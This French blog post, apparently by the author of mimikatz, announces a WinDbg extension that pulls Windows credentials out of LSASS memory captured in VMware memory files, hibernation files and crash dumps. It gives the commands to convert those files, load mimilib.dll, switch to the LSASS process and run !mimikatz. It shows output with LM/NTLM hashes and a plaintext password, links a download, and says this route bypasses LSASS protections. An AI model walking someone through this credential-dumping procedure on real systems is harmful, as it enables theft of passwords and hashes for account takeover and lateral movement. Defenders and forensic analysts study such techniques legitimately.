mimikatz
prenait déjà en charge l’extraction de hash/mot de passe depuis :
- l’accès direct au processus
LSASS
- l’exploitation de l’image mémoire (
Minidump
) deLSASS
…et cela suffit à la majorité des usages.
Nouvelles sources de données
Mais le contenu mémoire de LSASS
est aussi « disponible » via d’autres sources
- états mémoire de machines virtuelles (fichiers
.vmem
, …) - fichiers d’hibernation, de mise en veille prolongée (fichiers
hiberfil.sys
) - les crashdump noyau complets (fichiers
.dmp
) - …
En dehors de mimikatz ?
Ces sources de données ne peuvent êtres traitées directement dans mimikatz
pour plusieurs raisons :
- il est complexe (mais possible) de créer un traducteur d’adresse virtuelle en adresse physique pour tous les modes d’adressage (surtout avec les particularités Microsoft)
- le gestionnaire mémoire de Windows ne peut garantir à un instant T que le contenu de certaines zones mémoire virtuelle est réellement en mémoire physique
Ces deux problématiques empêchaient, lors de certains essais, mimikatz
de fonctionner par « pattern matching » sur un contenu de mémoire physique.
Ne voulant pas implémenter dans mimikatz
une « table d’offsets » pour toutes les versions de fichiers (lsasrv
, wdigest
, kerberos
, tspkg
, livessp
, msv1_0
, …), ou télécharger à la volée les symboles de déboguage nécessaires, une solution plus élégante devait être imaginée…
Extensions WinDbg
Un outil est particulièrement adapté à la lecture de dump mémoire (au format « crashdump ») et à la manipulation de symboles, il s’agit de WinDbg (http://blog.gentilkiwi.com/programmes/windbg)
Les fichiers de mise en veille prolongée, ou d’états mémoire, peuvent être convertis au format « crashdump » par des outils tel que MoonSols Windows Memory Toolkit ou Volatility
Exemples de conversions avec MoonSols Windows Memory Toolkit
- Etat mémoire VMware vers « crashdump » :
bin2dmp 564d1ef7-40ef-bdd6-128c-df37cfdb74a4.vmem vmware.dmp
- Fichier de mise en veille prolongée vers « crashdump » :
hibr2dmp hiberfil.sys hiberfil.dmp
Utilisation de l’extension
La librairie mimilib.dll
a été étendue afin de devenir une extension WinDbg, qu’il suffit de charger après ouverture du crashdump (1).
Il convient de se placer dans le contexte du processus LSASS
(2) et (3) avant de lancer la commande !mimikatz
(4).
.load c:\security\mimikatz\win32\mimilib.dll
!process 0 0 lsass.exe
.process /r /p
!mimikatz
16.0: kd> .load c:\security\mimikatz\win32\mimilib.dll .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 24 2013 21:22:38) .## ^ ##. Windows build 7601 ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz '#####' WinDBG extension ! * * */ =================================== # * Kernel mode * # =================================== # Search for LSASS process 0: kd> !process 0 0 lsass.exe # Then switch to its context 0: kd> .process /r /p <EPROCESS address> # And finally : 0: kd> !mimikatz =================================== # * User mode * # =================================== 0:000> !mimikatz =================================== 16.0: kd> !process 0 0 lsass.exe PROCESS 86697030 SessionId: 0 Cid: 0240 Peb: 7ffdf000 ParentCid: 01cc DirBase: 7ed54080 ObjectTable: 992ad078 HandleCount: 501. Image: lsass.exe 16.0: kd> .process /r /p 86697030 Implicit process is now 86697030 Loading User Symbols .......................................................... 16.0: kd> !mimikatz Authentication Id : 0 ; 239956 (00000000:0003a954) Session : Interactive from 1 User Name : Gentil Kiwi Domain : vm-w7-ult msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ wdigest : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ kerberos : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ ssp :
Téléchargement
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz
Bonus
- la commande
!mimikatz
peut directement être utilisée sur un minidump du processusLSASS
- les dumps mémoires complets via
livekd
,dumpit
, la mise en veille prolongée ou encore la capture du fichier mémoire de VMware contournent très bien les protections Windows du processusLSASS
Limitations
- seules les images mémoire de NT6 sont prises en charge (je n’ai pas codé pour cibler NT5)
- bien qu’il soit normalement possible d’utiliser les extensions WinDbg indépendamment de l’architecture ciblée :
- les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie
mimilib.dll
x64 - les images mémoire x86 doivent être déboguées sous WinDbg x86, avec la librairie
mimilib.dll
x86
- les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie
Il est donc plus souple d’utiliser Windows 7 x64 avec les deux versions du débogueur (x86 & x64)